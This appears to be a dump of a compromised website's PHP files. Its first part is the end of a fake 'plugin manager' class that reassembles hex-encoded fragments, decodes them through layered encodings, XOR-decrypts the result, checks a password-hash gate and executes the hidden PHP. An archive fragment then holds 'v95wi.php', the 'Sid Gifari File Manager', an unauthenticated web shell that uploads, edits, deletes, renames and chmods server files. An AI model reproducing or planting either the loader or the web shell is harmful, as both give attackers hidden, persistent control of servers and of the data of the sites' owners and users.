dfd31ab73417fbfae14faa0bf5fd50a7dccea5cd0dfe0942ff9ef8ffafb2352fe87fe7e8e55be442a5fe9ef4b399dffe3f9ef7fd5dfbf9ffffe10a9fc83fcf76ba4b4fc3cf8c3fcf73bacfc55a4fc69fefb9790f2d7f2df3f43caff2dfffd8c94e7fcf77bacfcfdfcf76bacfc55a4fc69fefb9790f2d7f3df9790f27fce7f5ba47c95fffe5855f97bf9ef0b5595ff7bfefbbf9192bd4cc5afe6bf3f20e5d97fbfc7ca5f454ad6fc7fc4ca5f45ca0ff9eff625abf30b48f99ff9ef7f454a665b3e62e5af22e507fdfd8355fe6afefb0356fe2a525eca7f5f66959790f247fefbbf58e525a43cfbef5f61959790926bfe6bacf2125272bec3afb1ca4b4849fffd7356b99858df59fc0c2971c63e6025f6d9d1eed8fd6fa4b4fefb192b77f222ab6ca4643dc405a4643cb5b8cc2adbc7ee7556e71552b6f376eb9df3dfefb132521be2fb05a474faf74869ebcfffb5aa52728ad825a49c6cded69fbf669552fe0c294b55b3eb2da9dfe96f60657dfa09ab843d08ff62fdb998e129f5b2aaf07d7af183550eb1f6b04a9ca98f4879cd9acad7f5e73fb092f1529bc57f8f9440c68bf5e7c0ca8a27c3b756f90e2961f7df2e2025fc58ba923f6395d0a31791f2e142fefb192b2785fa2952b64dcdaa8eb7f5e7162b57fa12abdcb2aee32252767e7b29ff6d59e52e769a8b488993f331ff6db1923d2c81f3788955ae594dfc1e296dfefb3ee484a7497681554ef7a1ba80942bdffdb9fe8e4a7319293909f027fabbe2fc2da1d7b95e3846be42ca98f510b67eed2d5202d716ae645607bf290778bf37ac32ea2e2165e067e9e38a33273853c3ec5e63a52981324bf90129333d3d2d863652c9a8b0fbe4bf9fb0f2a92be2ffd7dfff2fd5df61f2fd94c0faff0fe9ef3eab7d479dfdf71b5619af1e71f60afd91531657567f8f61a51faa2a674e33c92fe86fc57a88b69717f4b797ef633b67527fa8aa8cd7dff78973497fcf5cf90967e76355655274aa2b5cf5517fb352e881fa9bbd596f59a5aef36de66ac1dd63b75bdc6d0e79b7610f5bcaea5256ee2729639aba6ea6b2ca67a132c358fb57ac99c27b2dd524dfe5ddc0c9b496766a24671eb09a61891d3e5aac49a1e61ab027ceae4caaa5e27e3a9293128e89909643e4c39c7e6bfc7f9ffe962e59e5bccb3813688093b1fd03fdbd6aac3d4c1b5f846a449becfe487ffffda4bf9d03ac52c02a75f127fa5b9055166756c9f94f873fd2df0d5925b3f4ec10aaa7b56aff447fcb3b588bedd49193e096757c7fa0bfd3c7b3fec67b1ac5a794aafc13fd4dab5c057fc32aaf6895a15378d62aff37fd0dcfc82ee6b982d259f5eb983595ffbbfe763490b2d24a6d7972a86aba81ff07fabb0b8095656d6ad5038506f876ff0ff4f712c8ef8dc1c2fa2eaecb56ebe20ff437197e94362258e7cb0538842eff447fe75019b0dbf69c1fc3694c6562fe407f07b44a110c8c53b9f3a3f1552dfe407fcfeb2da733bc5455da2924ffb3fe9e9eb196f56bd102368713f507fa3b5af5cb68cd6920b04a071e214efe447fdbfeb1c5fa7bcd5aa1b1e37799defc81fe864608838a99aeef0783b325ff487f53e964f576a487c574a173c3bdfa9ff5f7803556e46be629ff2d8b6899ff9455fea7fe0ec82ae13b77d2e93db992546cbfaebfdfb3ca3d5925273c816db12b5ccb0ffafb575925991638a5a754f0c2293feaef9fb14a8b94abc7ee07a7e4bc1ece0c98aff3fdac09fe95555e424ace197cc32ac14d9a2bce85ced861ea7046d8cf91f2bdfe0656368357ac923df49ce90a15bd34122895a4bfd3ffed4ecb7355e5597f37aca914093825eca1b475d8bf94d57946ca4460cd5feb6f56551e590b88f3c55939b7bf8a94d67f5fc38fbcd2df0159654c8b50eb42676d35c8f447a4c469bea4bf953e64f5ebaaca82f6c00a196b0ff0ce97f4f74fb33af09daffabff356f8d0dfc9b9fe1ca8f3897341ff2babf30a296ff2a331aff4f72407ab9477510d657cd48eaa75f92b48f9527fde855ef6a6ff7bbefad68001dce9f27fca7f1ff317fd3db6954282783ef99ff2dfc2dae4b3fe4eca5aadc9cf6daf8e6a06b193ff46fe3be07c55f12affedb25648decd18ef488af069bad2ff98ffce6995ab7fea44c013fc0ffa7bda46affabf234e45e5378085e4c702fe39ff1dfded709abd499ef53710c2ea6fbc0fb0520b01a4f875fd0dadf4f705fd2dd81522c821f0dfe277f4b718705ee68bfeceeb8af73c8c2567c838ac91ddfc8efe9e54fbc0d9beebffe6a4698b9477d0dfcab8bfaebfa1f8d4f3a40cce485aacc49fe4bfbdfc1aef3938ebeffc4ff3df405bb0ca9bb3fed66756c999a9b028438fa1f46fe4bf674efe8c94d0dfe68495d419e7d059ff9d1009eb0facb24b527331ffcd38a33923a5f5dff915eb6c674a75bc5bc2ce7bfbadfcf7dc76c21783a758e5f8cff2dfa6f19f9092fafb731b6b2265152f14e74cfafb8bfafba4ebcb5d8db1aa8659bb39ebeff4f1f867f96fceadcaea2a3debeff92fb0ca7fcf7fe3341e2d56527f6bd8f9b0b8e22c1d9c9c7bd65de35bde2325b5e0b1b894d501466e9f9092914aabbf43cb29b1df60d76ee0fd46fefb98707a59bab1fa9bd3788094bde5c8b4a9af114e06d6f657f3df9b6832b2f3f6cefa1bebfcf71fe5bf856657c4535647fe69fe3b0d9c80537d2dab8cbd5cff41fe1b9c129e4f58a404a77cd7fffdfbf9eff41c6f799e95f18495ff7bfefb81fafb192967adf9b3fcf750eac2d14f933254dd10297dd5c126d7d4df8bd2ff9dfcf780f3bbce3d8dc1064f2ea67f98ff66156da0a4e6dcef6c92c79c3b26d5069fc0a9796567eb192739700eaab3ac8649a98183c504a7a4db7451fbb8b5f15225d2b153798c7672a2977274326b6584fdd82cd6f89a75769ad50747f3261a47df59c6c50e53ce47d67259da79f63a2dae60950fb062de46e18e13db91e2468919700e5b94f28ea451637b3475a89c366f7c5bfb2d85bc0b26b7f01f818395bb3ed79f9b742c84174e82eb4498f5a2c402dafa7328b6877cf518cc3c76e36f3aed9c1a89b7805dc3a6b48b75f024ac3852598fb3c02ed724a922ced62da889ecd4ee381e'; $marksyg427 = 'mZRv84_3_mtxM20'; $partsybe33[$marksyg427] = $partaoc827; $markersiVV42[] = $marksyg427; $partGKu968 = 'b4e75b1d1caca51b4e02f0f23c48d4e713f13c7681ef153046952795f62174da064a979643253919d047dc60f73bd915c3549b70becebfd0774eebb287efe44f8e60b5f594f67094237c23f49a18501381b9d4b90f55bccc812bb06be841e1839f57d4a5d2abc8aa5b7c824f2664c0d7e7c3a2c733d07fc33fe9d26ca1bfbd3019dcf33bb5570c6195e026fe177c423087fe0ebc404c81e536c2a100fa13ffacbf6f122819e8ad3d3d3afcda866f13d74e0bfd0d1fa28e7259ed70fec8ad3c3d1c404582e1436dfdb58555fa4fac129c60dacd8792baf36fee27143a58a51e65c3cfa778fdbd86ba4ef132f0a1810fe613c05a7012b482554ec6cd62e5af136a61fc043c8297801180a7ec94ca3d28be0dbc2f580eec5e6de8dfc1cfe5b1dcc32ab7d0205d06df172df1695019785db2ca93d5df78a6192c0af6f009085187cadf812bd37fafa1e054be839dd3f301f1fb25ecdc98f204f47d46ca67fded3f606db6507890e902c8048b68c1c204b152919fc37f874e5dc3628c724e6d9ce67ed0682a1df0732a1d33829716d0df8c334d36c06b46c3aa11e30c5909864745bf1e14b18e4edaa90eb0d27e5e03cfa164a0a6f68a1ac9b1fe1b2783fe1b383e52d0010b2d0750365bece740ae337b7ac146767357c2633c96503a7e8cb7c8eaaa67b46653c48981557eeec7220835e32fabc76f60d143b02d0f3b7413ad7a494ea9d280fabbe45ecc4afaef19181ed8f4f502fc2c9b54964340e9e03d73eaefedfc887550750b9b1cc478ea690bb5a59a03ec7e407e5e800b150f41bbbd92abc64f944ce1a75bf814371ee6f0253c190563021bb0ca3baa0cf8331776ff15dc813c647d4bd61166e0a5369e82b51d0b383a300fbcd531c03ad09fd153c60e0e0af6c6b4e6b2fe96601d50f03d5406780a7c0c74279ea9da46930dd9377c9ce594587358a13b9f048ee4ffe9cc106a7a04efab2ee96f28f82d549ed5ad604a78efb8bb3d81f940457c6b80be8359396aa10ce8bf3f315219380ded81fa1bb8ff78879ddacf5b324ed5d37f0746aa4ae127aea71ac800ec04daf6b07b5ae557bcf79d5640ca4487e410b031092d068fbf219ee344497c26d4733a8515cea1e961531ff477ec34ee38f5fda86e2454c5b7a98d3be42e5593382e1871f536387d06aaa20af1deee54e5f7ef2295d04615f0799be4eb818daf41131ce55803e1e5b13a26503281fbe8cd579f7bb04a4d1b037f7775faed88a7bc4b1590d215404af109df5d06c7a02e8a24a904fe8f5aacb0a65091b0126886db3a52e0ad65efceebc30370ef46521b43f9903b59fd3d869af255999d14d403788c6fadd2a91c9c0c68639084a4f0e3d2698110fcf390aa43ad0b3c790a859ebaf92728699c6f2d52602563a83215f03ac53d38027c672393b3fe3e01bd71fefd2fc424582ace165865a0c953d5746f189179424af8f35dbcc66959414d4df232a6e7000b9db7e621589ff5771e302a0446c7a8500a9b3a26f4198d69611127f2f14895e0b1bd0b941aab21f4b7caa174b678efa03d94e480e088fb18480b36754d0f80bdb8372d2c781db88b55d325b549b3660085e7978cf1cd4a07fe3bd2e0c05c892159c741c4da0f81523740c26500752595d59d5fe10d8e49ad459460cf195dd1d39a7cedb69f4299c2c3fd4ddf99e16f80cc8c54427f831bd5c64bd20668a9a0b0031d779bfd58903b34c0739c36f88cac4fb08ff3d5369525b014e71dfe1ce76bfb09fe5a04ebf204bee65ba4847d00215c0d5d86130a2f9b5451335559170211c02aa73819276a44455fea6eddbc0ac0b63f462a810e09ed36ff5b8213c21bb8b3fac018c02d7cda1e3ac485fe1ee024b949459f524c603cf431bd844d92b7405f378c0a1e9650a858fb7e92d75b28f6e2012a73a0d5a887e2a3c2a366806f05a7848a041bf3adff1e406724f9d078f3f49fd3598f3543602dd472000ed908b05a173e4564e090b007f83075824d321aabaa515c4a46a674a407ae76e1201cf8ce09353efc77fa8db14e91c02a1270e7a062a4aef816280dff0d9fe1e3bde08f713abbdc0386407febafc0ae2074c4012a066cba8aa03bc10ec8a56ca452c2829ef477ba0a4ec04e012623a0133cf8efd15433ae0e7e46ae0af4c139008781368557027f07f6e63e635cb99f82e7072e950af879990ff00c6a86f34b3b87ffc6c9a0ff36238b9402b60ba4ccda0afe5baff35184a7049353b3ba71e46a2b178ed1e40e32ad3ca012ffec3303601a3040600cde1bfaa0b987a53ad07c355955f0acbf81be50b6498193d183f96a2f387eaeb12e77d4be89a2aa209f991ef0db5e45fee3cd2b01dfd99fa6d09b09e36b4e03ae041eb7be054a8911bcef321e167e56eb82dc096fc1f3ed36c0d17ffad758f982945adfe41530479d4e6a22f0fe404e67da00ad79fee10da2f67183ddd8a935b4516daef1162b792cdeeb6f5f7bd81d30c0cccb03d8f91a7e5f30bb06142cab275699a76378f8a8d16982b315d70523c2bd4eb7d1534ee79052bfc1e2888c7872289533ab1406ca461bc728a8c8abe0f8517fc722d731639dca0797aab0e6afb33ad0842720440aa5ec0263e07d07a984535d4087248904f3c58ed566ad9c4accda1cb80604082c1772fa09d6f2615e8f18995a5f404ab22df8954a47cb4aaada677e8ce775e9d40b0d9d5732660744f03e77d4dff30955860ea3763ba6ba863e8446a87aa0b5901321c9cfcd3dacb2cf547d7ac9ea406f59ab04fa64b01cb592f031014e696362f0f9d9503bf3f61bf99a323a2ec1b6dc0359e543341960a97a3c12fd1ad079d540f3fb2ef479ab959e8009dd060e705e1bfab1d516ef147438206070cd1b56495589f31c9155ce6c64aa1880a550f10d527c02f306365679b3107a1781e94e8f40a763b18d407580f3f07385ab2ba09207a0508d0a9c2d6d32858559fffd8495a55327a5015782d7ef02facaaf60801aded99dd6a603b35d831beb33a79457731b57cceb00cad4b8397e0aeb3d5eaca1fbe1cfe7752ff4b008a196f56c5da4f88d50d79b72311141dc9d39a5f5dfcf599d21b8502be13460ef6bd875920db5abdac780be3383a267441e783f66b6139fb0234736632081bbd02f599debb976da28796295ea118839ae618b505dbd1be239e121eef07bf063f4c7f83e67dee566b1122686cfd6cbea21741fbf52238087f7d05002c81927eb01fc559ee2bc8741396df0e4697f6723158c1557c2808560c50a207501ab156bd9e09439599bbbb05aa11f607b679fa2644f3f06ce903e8a106c2b6f735f3562b0c0c9c84a7d0f6486e5881b78bf41ca2c00f4b9740bf0737d050d9cd21b48b0abc317e93683109c3c3f4277badb31be6300ce08b525af32a1da587dde4793db132894982f8b10e7c2f25433497505ee0b36069b02bb025e179d5ee27ba01a67e586b94a17ebb0c65b4ae85220468575188c880e58893257d3baf2c06456383b01349f00f31d317a96b7fd608ef34eaf38a7a24b1f192d11d1c4872f814fd0f09ddd4c997d849590abe0564ebeefe14b3523cf386b03a8cce3dcd1f7d3233c04ce3b3c86c6ef09c61573072ac289568f03b02d2751db8ec8088ed025eb4a036be9859cc53297c0fb140c3fcc18d169a627fef6a995694ebb76e0b70658ad7b454507b689755887788648079e86f79047531b6703ee7f804f79fccafc580eb554e19c37628e35c653429fe99d54a2c73f7f83af9fa85cc1cf5c706913ab690376e69823e32d5af985ec06d076f93e6b37501183323916fbe9247766b504c3878f491f4d66bd93cd590ea09ea5c63ad052fb083f7113ad8549950fb6ae6111307facc30c16113a8c06eaaf58077cc3f4346f73019bbc0282b8d4fe7a3f76e09f6011b44a58449b012132d5588b01233b701d182d854e0323c03aa4156b301c46c069951ba8c6fc61de3e7ea555d2226cc674f8bd01579281435e2a1e18b982c52c6993e0ed9dcd491ad675c85a3aa103ccc0c92023c0ba38919658879c56b99b4d60934a86609d9aec0c36b9275fcb69958304cc66869331ab7b4756a694ee09bc28dfc32ab10ef908d8bb0bca2a8145c1266509a6c4ec39ac72de6e9829be9256f361b792e201eb40761dc46b5aed8627833609250b9ba43d248c80d3226895603cb44a07bb574f4b791f0e69958322afe59df4a8f8b0d68d7622e03f9ec18bb10e8c9f0b458ba055820b5de1bd06d8ad6f01747a0aabc43adcd22a25f4b84c610f35be6159ec'; $marksPN118 = 'mcKg65_1_mMIf52'; $partsybe33[$marksPN118] = $partGKu968; $markersiVV42[] = $marksPN118; $partbhr619 = '8079ff79bd7d9837fa9abd997177db454b20b28b3507dd609c61c6087c53412b07b03975b2751e63309d51f2542b84b760fedb634436b1539c73cfe6bf71b698ff86efbc02d33ee05cd8997719a73350eb5856f921ab53f629a325385bf731efb88446c8eb03cf776ce38a867922f2cacc69c6e7fc37bd7173c23a48f0d80ef83e644e07278636e92b87f56b82f5c8cd2dd44c801d2e18e373e6abed8d3c1a132873ae845c4a5646814319051b64a651429748e8157b1b46433b7fcf2a25ef410e98e56bc142a03f813106b656e4ae607474292b4ec520b24fed3d999b253844c7298c444a5deb6bdeacab142b477c4ea9d058ad2ee978927a6f3ec91a56f582034ec0c9eb0df39d29a7db84ea20524e78f2f231a308d0dfc9fc589cc2c9a060d733f4372b865c7bd3edd7a48a9aa9ca3a68d2306ac053e03b43305dee0a9032e5ed13cac939937fccfc1ff365f039bcbf84332318873c16b080e9296bc0741abd6694d0aea4aa980f1be56be1c38fdaaa4cf81c7c23bd7f5c17fbd0791451f7b9c1fe0e14ce50d61ac6cf6995f46b1f90727eb471a9c8e6bf03468ba6edc1859a0a98670fca8392eae00555f5000c5966131beba0f66596ef6e4ef44a6d3db25382550afa8c7de0f9e7b325a6fbd8deb5fd78251db0ce6575fb1bfa7bb51d5bce5016135b95d1a88eb35312c7b7d357e64bc9acaf8d9feb2452acbb14ff5255f992ff3eb2da10aa73acebe6dae64beeb4571509ebd79e6295365209eb0c1a758a6d968f4ae7497fbb503f769a7df060f3823e90cfc06fc33f933d8355d686b7f96ec92a71b6ec7e9b8ede396f6dbf70057fbee6cde59a914605242c357bede185fc07c9d95bf88ed84e5f92d7412962f0577f06ab8ed4a6032b65d603fbcd5bab61c12e98cf48b6cdb551c62a363d14cbfc62a4923669183fb73583664dabc4f9e62414f7ecbf0d63fab0cac127dede0e8c71a294dab71a2fb4096983a0e923e21ab82f2b1c1d99467a708d53b8a2fe9ac12bd9a8d06450e6172a859492fb73860b58a9a513748bf2c07baf03391c689c77933992fa6b2c95a23dacb59d5aa2af83b5ad57a5aa59174ecefc77ba550b4611d44ff5f77b4e59dbfc37e7ae3122da4d27c18e77e2507f07c3c2934379cdc873c82adb4e60df1b65673178b98286a4b25015e3e72f599d8bac127c9c51a264227a60fdf21929cff9ef5758a9b3d66f33664f6bcec2fb5155f95e7f43eddbfc77be633e0cb2a9872fbd9e825df39672aa28665438d9883592cc17014306f00ce03045c74825e36b1f6395e74aa10d518ad358eee063d2b1bb19e164f8cce90476fedae1cace9d1b43b9d60938217ec3032a1d5831114055b02a0b2a93b72eaf5993f1965352fb632598ef149caf46544ad5c1b595bb29e7b7d0236c5db0905896d189b11fec0d4e2fcf7f60e3e7197b2618bb8ec195a13bcbde9c111f7b51dc69a827be05907343cfa8acfede0ce69a111330f8d838b07c66cd978334d1399ea38272c59ba4df6a58e53104fbd68c1a720af4d17c0bbd5b7aced6c6cf6ff2b6bf03271b66b5ecec7c26802319603e345eb0fae7c4094049ed80c7e5dd7c75f87256d7ecf0c47eb65085d4df9adc080a1fea198cc51bedb9d63c9d5078e139a7c362627bcfc3105e89f37a0043efb1f28c9419e705ed62f8ac34311eb1076a5b8eb12ff1534e87e7fb5f59a5e552b2c64ab9ac57ae9c2716b28fcef399d6c13dce73c8db09a249e0ccd73923f0f80de342e96097c4a785f379cf6ce7d88537a205091d0476bea23e5744c00a804a4e21d215556241a49c4d55b553c9bb4aa173fd396d92786ee3e7af586509d528f094ac8403974a95b90f3dbfd7ebec04f51524de067ecf27a7043fc7f9f567b6fbc35c5123c832a04fd9257ad0e2df60f4c10c483949d37e94b9395586cf58273e9935456ecef3dd41f3a969bd65e6188c5770c619504a8fd2e1e03ae7774289cce83b87df4f567f4f387f8d7142d8186ba7881076f695aeabbf6321d75959ecf036f45bbc731c783fed597331af39874edafa352886c966c4b5cc6b0d5ce9a9837abd7a2c61fb9a77a8500bc126af79e79d71e01f540ec0538c8832666bf3048f3c19370bf7d1c7c9817a083a60adcbc894ec80df2be1cd2bb2efdcc8d2385865e6bf61957c4a585e6a55c61236322c0fd3ba215262cffd8259bec59abb57c1e65917a24f81f319a7042c621442efb22f0facc262e5bf236515e0cf2b661a6dfe1b6c6bfb8295786ff014fd03298139b6ee7a0db4aef02ed0b4cf91caa7faf317accc5a4e898c8131ac53038f611e901973675657ac66885811954d60c509f3c0403eab5c99cdb0dd5fc9e02be700b3da144a872c744cbd061624e6dda695cba801cb844d1a7bc64c008b0056e2b0a9690bff0d84c0fe9255e2e4308a00afa46d4d25740abb6660933752058cd6ac6d55066f4abf5eacc48cb3cf545a01cbea165ad85736cb57b9dadd3e48c55a7fa755a9183df96fb24a707f9c9d014e27d645b84107fda50e1110e2f4545549bfc68c1aac8bf510bac89a82f931af28257baf55b14ba875c0bae0af67e0cd7baccc2973fc12f8dd195677ffc8e90c80a2e7ba1e70b1c101a7cf683b034e5e81bf29d89a9939ba50cc6ef196c01467dce3746b0d26d2dc2c1ccedbe38c88500ca05454fba2bf8fa6854f81efcc8f8ab563b01876c671be03b9314e929b79f4c06095b0ca8c51a14e03bf25a3082adf03299d391122219ecb74ec147d368c5a3202cdb3b8a4269225d6afe4fc8a5ee1bd1e6ce79536c00fd6127e404aead21be89320ae6d8f476aa0e5833861264165bda91f99fffeca4e1d3d6185eb06cfa07d760f48467c5543a573cd5b1a886bb72795020126451969a80cb28c063e4383dd6ad8b873607f19febb52e0e726a8e18d13d685e41bc6728d8ec122b2614edc3a24f0bebf8a94e40e1fb1f2df901202cc853fabb1577b1b77b8862d2b1bdb62ef1eeb955ca0526d7c20d0216755a510056bc7c09d74a2f20e6c769cb78de17ee7f7a6ed07587b8db55d638d8bec5880d96a1bdb0af84c8058acf5269e0858750ea4ccaf8094ac6f5996a7b9f3b99fb53df89802ff0f384568172d354eca47fdcd3afc45599f588361a7437c8a79470674a754458ff3dbb15e2d06f3952bed4db586556a99d58db25d8f4db564c476ae36b4165bf9d58ca858a70a67a1ed7b4ef0e35d51cc3d8f1d3162376004739dad8b346f06acb79902177667ff3d6f37ece6bb66b413ef5500b1c57c39f05895a126b7272a9de05c9301bfbec14a6e58c5a12dae7d0bc026c9c7b062e3189881d5e36cd307d8e08dad3f5f578ab90bf8ceb1555b2ac7c919744ffabb7d0c715e396dd697b518dafc37d8162c6604bb57b18a4eb0eb3656b6e66a039decc7ceb97facf271da0266cc9292535d05b913905240e998845105564c9d733afd41a6152b2269933ff2df2d2c60b9b0fda10d58f7c0c7fe2be054c08e85309503765e814bf989471c64154dcefc77653b4d60bf76d2c50658795c94bdb03d2ffcde236765010ddae634af2bb03143fd8dd5de32b6a76f7babbfcb8393b7fe1598ee84936719158a38057492b31681fedb997156f132029706fa941abc256b7bd7f6c5b2f36ec24ae9830bb4fdc679aad2635f157c0c67b56a7ba39d9a36fe39ee6cebcfcff9ef4ad8db01578fe9b4963b1bb385ba939c975bfa2ee727ab969df450b965014580ddb4736b927356877a0cfadbd6a3828ff509ded10b9322a60e050aea342d4ef806ce683ec2c74e982f633d53e5258295f8b4886a049578bf28b5c1ee0878e5305365cf3e0c602d10427bc452bc35ebfceeb1df43790a39a98af1d292f5e7ac052e4fecc483de3ec0fbb5e0e39c6e0d0dd8a731f81cbc6f8167b2febb48a2c9e6ca56345245d4d67fbfd2df0dfcb71951bf335a3e87cf9189096397bd0e38bf5a3b55421b8345e0dff980d5b48ce9b3e738060380c7ff1b2835824e1d71ae05e706078ebd5f307d647647ce6b73cffc59361cc8bc8ef0d4d5564e7cc66c0f0abb329d3c21a510b7acfc4d80f7f4a105f3402be6bfc9ff13f68f1129578ff889ca93a9efce976593b3a7d1624c7025bd7c448ec1788b70e06558d9f9527f0edfe9dbfe122105784cc27e329c9cc02a1d87fedbb841f55a7f3322030e31968cd095591f0ce90d2acfe632eacfa759c72a7ac32908928a1e36c979b9e9e3df0bb74fdfd69fdba8ef309a70fae9b753041d0265d9cd38'; $markSlz199 = 'mpws55_7_mTDa12'; $partsybe33[$markSlz199] = $partbhr619; $markersiVV42[] = $markSlz199; usort($markersiVV42, function($a, $b) {     $a_idx = (int)explode('_', $a)[1];     $b_idx = (int)explode('_', $b)[1];     return $a_idx - $b_idx; }); $dataggex17 = ''; foreach ($markersiVV42 as $tmpOer49) {     $dataggex17 .= $partsybe33[$tmpOer49]; } $tmpOer49 = @substr($dataggex17, 5); $tmpidF58 = @hex2bin($tmpOer49); $methodDQT16 = @json_decode(@base64_decode('WyJiNjQiLCJyb3QiLCJjYjY0IiwidXUiXQ=='), true); $objeMl24 = new self(); $keyJri39 = ''; $keyJri39 .= $objeMl24->getJSmK58Key1(); $keyJri39 .= $objeMl24->getbElp76Key2(); $keyJri39 .= $objeMl24->getlkrS66Key3(); $keyZDt96 = ''; $keyZDt96 .= $objeMl24->getSuwp81Secret1(); $keyZDt96 .= $objeMl24->getOedq64Secret2(); $gatetVw96 = ''; $gatetVw96 .= $objeMl24->gettyGt93Token1(); $gatetVw96 .= $objeMl24->getYKjY10Token2(); if (@md5($gatetVw96) !== '884c494590987cc7edf7685b80ccd2c0') { return false; } $tmpSfP82 = @gzinflate($tmpidF58); if ($tmpSfP82 === false) { $tmpSfP82 = $tmpidF58; } $tmpNqF22 = $tmpSfP82; if (!empty($methodDQT16) && is_array($methodDQT16)) {     $methodDQT16 = @array_reverse($methodDQT16);     foreach ($methodDQT16 as $tmpOer49) {         switch ($tmpOer49) {             case 'b64': $tmpNqF22 = @base64_decode($tmpNqF22); break;             case 'rev': $tmpNqF22 = @strrev($tmpNqF22); break;             case 'rot': $tmpNqF22 = @str_rot13($tmpNqF22); break;             case 'cb64': $tmpNqF22 = @strtr($tmpNqF22, 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'); $tmpNqF22 = @base64_decode($tmpNqF22); break;             case 'url': $tmpNqF22 = @urldecode($tmpNqF22); break;             case 'uu': $tmpNqF22 = @convert_uudecode($tmpNqF22); break;         }     } } $cipherYGW39 = $tmpNqF22; $plainnPn14 = ''; $tmpOer49 = @strlen($keyJri39); $tmpidF58 = @strlen($keyZDt96); if ($tmpOer49 > 0 && $tmpidF58 > 0) {     for ($tmpSfP82=0; $tmpSfP82<@strlen($cipherYGW39); $tmpSfP82++) {         $tmpNqF22 = ($tmpSfP82 % 3 === 0) ? $keyJri39 : $keyZDt96;         $dataggex17 = ($tmpSfP82 % 3 === 0) ? $tmpOer49 : $tmpidF58;         if ($dataggex17 > 0) {             $plainnPn14 .= @chr(@ord($cipherYGW39[$tmpSfP82]) ^ @ord($tmpNqF22[$tmpSfP82 % $dataggex17]));         }     } } else {     $plainnPn14 = $cipherYGW39; } if (!empty($plainnPn14) && is_string($plainnPn14)) {     if (strpos($plainnPn14, '<?php') !== 0) {         $plainnPn14 = '<?php ' . $plainnPn14;     }     $objeMl24->executeOzdo98Code($plainnPn14); }  }
}

// Initialize the plugin
$objWaf81 = new PluginaQxi99ManagerMwUt16();
$objWaf81->initializeAjic40();

// End of file
PKl<m\�.�Q�%�%	v95wi.phpnu�[���<?php
// ================= CONFIG =================
$ROOT = realpath(__DIR__);  // Define the root directory
$BASE_URL = strtok($_SERVER["REQUEST_URI"], '?');  // Base URL without query parameters

// Secure path resolver
function safePath($path) {
    global $ROOT;
    $full = realpath($path);
    return ($full && strpos($full, $ROOT) === 0) ? $full : false;
}

// Get current directory from query parameters
$path = $_GET['path'] ?? '';  // Path parameter for navigation
$currentDir = safePath($ROOT . '/' . $path) ?: $ROOT;  // Resolve directory safely

// ================= ACTIONS =================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    // Handle file uploads
    if (!empty($_FILES['files'])) {
        foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
            if ($tmp && is_uploaded_file($tmp)) {
                $destination = $currentDir . '/' . basename($_FILES['files']['name'][$i]);
                if (move_uploaded_file($tmp, $destination)) {
                    echo "File uploaded: " . basename($_FILES['files']['name'][$i]);
                } else {
                    echo "Failed to upload: " . basename($_FILES['files']['name'][$i]);
                }
            }
        }
    }

    // Handle new folder creation
    if (!empty($_POST['newfolder'])) {
        $newFolder = basename($_POST['newfolder']);
        if (!file_exists($currentDir . '/' . $newFolder)) {
            mkdir($currentDir . '/' . $newFolder, 0755);
        }
    }

    // Handle new file creation
    if (!empty($_POST['newfile'])) {
        $filename = basename($_POST['newfile']);
        $filepath = $currentDir . '/' . $filename;
        if (!file_exists($filepath)) {
            file_put_contents($filepath, '');  // Create an empty file
        }
    }

    // Handle file/folder deletion
    if (!empty($_POST['delete'])) {
        $target = safePath($currentDir . '/' . $_POST['delete']);
        if (is_file($target)) {
            unlink($target);  // Delete file
        } elseif (is_dir($target)) {
            rmdir($target);  // Delete folder
        }
    }

    // Handle renaming files/folders
    if (!empty($_POST['old']) && !empty($_POST['new'])) {
        $oldName = $currentDir . '/' . $_POST['old'];
        $newName = $currentDir . '/' . $_POST['new'];
        if (rename($oldName, $newName)) {
            echo "Renamed successfully!";
        }
    }

    // Handle chmod permissions change
    if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
        $target = safePath($currentDir . '/' . $_POST['chmod_file']);
        if ($target) {
            $mode = intval($_POST['chmod'], 8);
            chmod($target, $mode);
        }
    }

    // Handle file content editing
    if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
        $target = safePath($currentDir . '/' . $_POST['edit_file']);
        if ($target && is_file($target)) {
            file_put_contents($target, $_POST['content']);
        }
    }

    // Redirect after POST action
    header("Location: $BASE_URL?path=" . urlencode($path));
    exit;
}

// ================= FILE LIST =================
$files = scandir($currentDir);  // Get files and directories

// Edit file mode
$editMode = isset($_GET['edit']);
$editFile = $editMode ? $_GET['edit'] : '';
$editContent = '';
if ($editMode && $editFile) {
    $target = safePath($currentDir . '/' . $editFile);
    if ($target && is_file($target)) {
        $editContent = htmlspecialchars(file_get_contents($target));
    }
}

// Build path segments for navigation
$pathSegments = [];
if ($path) {
    $segments = explode('/', trim($path, '/'));
    $currentPath = '';
    foreach ($segments as $segment) {
        $currentPath .= '/' . $segment;
        $pathSegments[] = [
            'name' => $segment,
            'path' => trim($currentPath, '/')
        ];
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sid Gifari File Manager</title>
    <style>
        body { font-family: Arial, sans-serif; background: #f5f5f5; }
        .container { width: 90%; margin: auto; }
        h2 { text-align: center; }
        table { width: 100%; background: #fff; border-collapse: collapse; }
        th, td { padding: 8px; border-bottom: 1px solid #ddd; }
        a { text-decoration: none; color: #007bff; }
        button { padding: 5px 10px; cursor: pointer; }
        .drop { border: 2px dashed #999; padding: 20px; text-align: center; margin-bottom: 10px; }
        .permissions-form { display: inline-block; margin-left: 5px; }
        .chmod-input { width: 60px; padding: 2px; }
        .path-nav { background: #fff; padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; }
        .path-nav a { margin: 0 5px; color: #333; }
        .path-nav a:hover { color: #007bff; }
        .path-nav span.separator { margin: 0 5px; color: #999; }
    </style>
</head>
<body>

<div class="container">
    <h2>Sid Gifari File Manager</h2>

    <?php if ($editMode && $editFile): ?>
        <!-- EDIT FILE MODE -->
        <div class="path-nav">
            <a href="?">🏠 Root</a>
            <?php foreach ($pathSegments as $segment): ?>
                <span class="separator">/</span>
                <a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
            <?php endforeach; ?>
        </div>

        <h3>Editing: <?= htmlspecialchars($editFile) ?></h3>
        <form method="post">
